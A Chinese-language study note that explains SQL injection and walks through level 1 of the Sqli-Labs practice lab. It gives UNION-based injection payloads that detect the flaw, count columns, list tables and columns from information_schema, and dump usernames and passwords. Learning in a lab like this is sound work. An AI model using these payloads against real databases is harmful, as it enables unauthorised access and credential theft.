Sql注入的原理:改变sql的判断条件(普通注入)或新添加指令
1.普通注入(‘or1=1’):没有写新的sql,只是对原有语句进行了篡改,满足or之后的条件也可运行
2.新添加指令(带;):在原本的sql后加上分号,然后增加一句全新指令
Sql的基础关键字段:
1.Select(要什么):例如:SELECT username,password,指取出username,password两列;“ * ”指取出所有列;
2.from(从哪里):例如:user,指从user这张表里取出数据;
3.where(细节,过滤):例如username=Amy,指只找出用户名为Amy那一列;
连起来:Select*FROM user WHERE username=‘Amy’ AND password='123456‘
意思是:从 user 表中,查询所有列,条件是用户名,并且密码是123456
Sql注入方式:
第一关用到单引号字符型注入,用 ’ 来打破闭合,验证漏洞存在
Sqli-Labs Less1 第一关
1.第一步:判断注入类型
打开第一关显示如下
在URL后面输入?id=1
(?: 查询分隔符,将前面的网页地址和后面要传给服务器的数据分开)
(id: 参数名,代表要查询的字段数据)
(1: 传给网站的内容)
输入?id=1’,显示如下:
出现报错,说明id是单引号字符型注入。(如果不报错,说明是其它类型的注入)
2.第二步:用order by猜列数
order by x代表按第x列排序。 x≤总列数:正常执行; x≥总列数:sql报错
依次输入?id=1’order by 1–+ , ?id=1’order by 2–+ , ?id=1’order by 3–+ , ?id=1’order by 4–+
发现输入1,2,3时显示正确,输入4时报错,说明表不足4列,当前的表一共3列。
为什么要输入–+:后台自带的Sql末尾还有 ‘limit 0,1(为了一次只显示一条结果,表示从第0行开始,只取出1条数据),这样显示的语句变成 ?id=1’order by 3’limit 0,1
出现了两个闭合单引号,干扰注入,所以要用–+注释掉 'limit 0,1这个sql代码
3.第三步:union联合查询,找显示位
输入?id=-1’ union select 1,2,3 --+
- 输入 id=-1(让前面查询无数据,只输出select1,2,3,找到回显位置),如果前面查询有数据,union后面的select 1,2,3内容会被盖住
- union是将两个查询结果合并
4.第四步:查询数据
a.查询当前数据库名:输入?id=-1’ union select 1,2,database() --+
b.查询 security 库里面所有表名,输入?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+
union select 1,2,xx:第三列是回显位置,把查询结果放在第三个位置
group_concat:把多条查询结果合并成一行,否则只能看到第一条表名
table_name:表的名字
from information_schema.tables :MYSQL系统自带的数据库,有所有信息
table_schema:数据库名(只查询security这个数据库里的表)
c.查询user表中的字段,输入?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’ --+
column_name:字段(列)的名字
information_schema.columns:存所有表的字段信息
5.第五步:爆账号密码,输入?id=-1’ union select 1,2,group_concat(username,‘:’,password,‘;’) from users --+
union 后面写查询,直接读取 users 表的 username 和 password,拿到账号密码
username:账号字段
“:”:分隔符号,将账号和密码分开
password:密码字段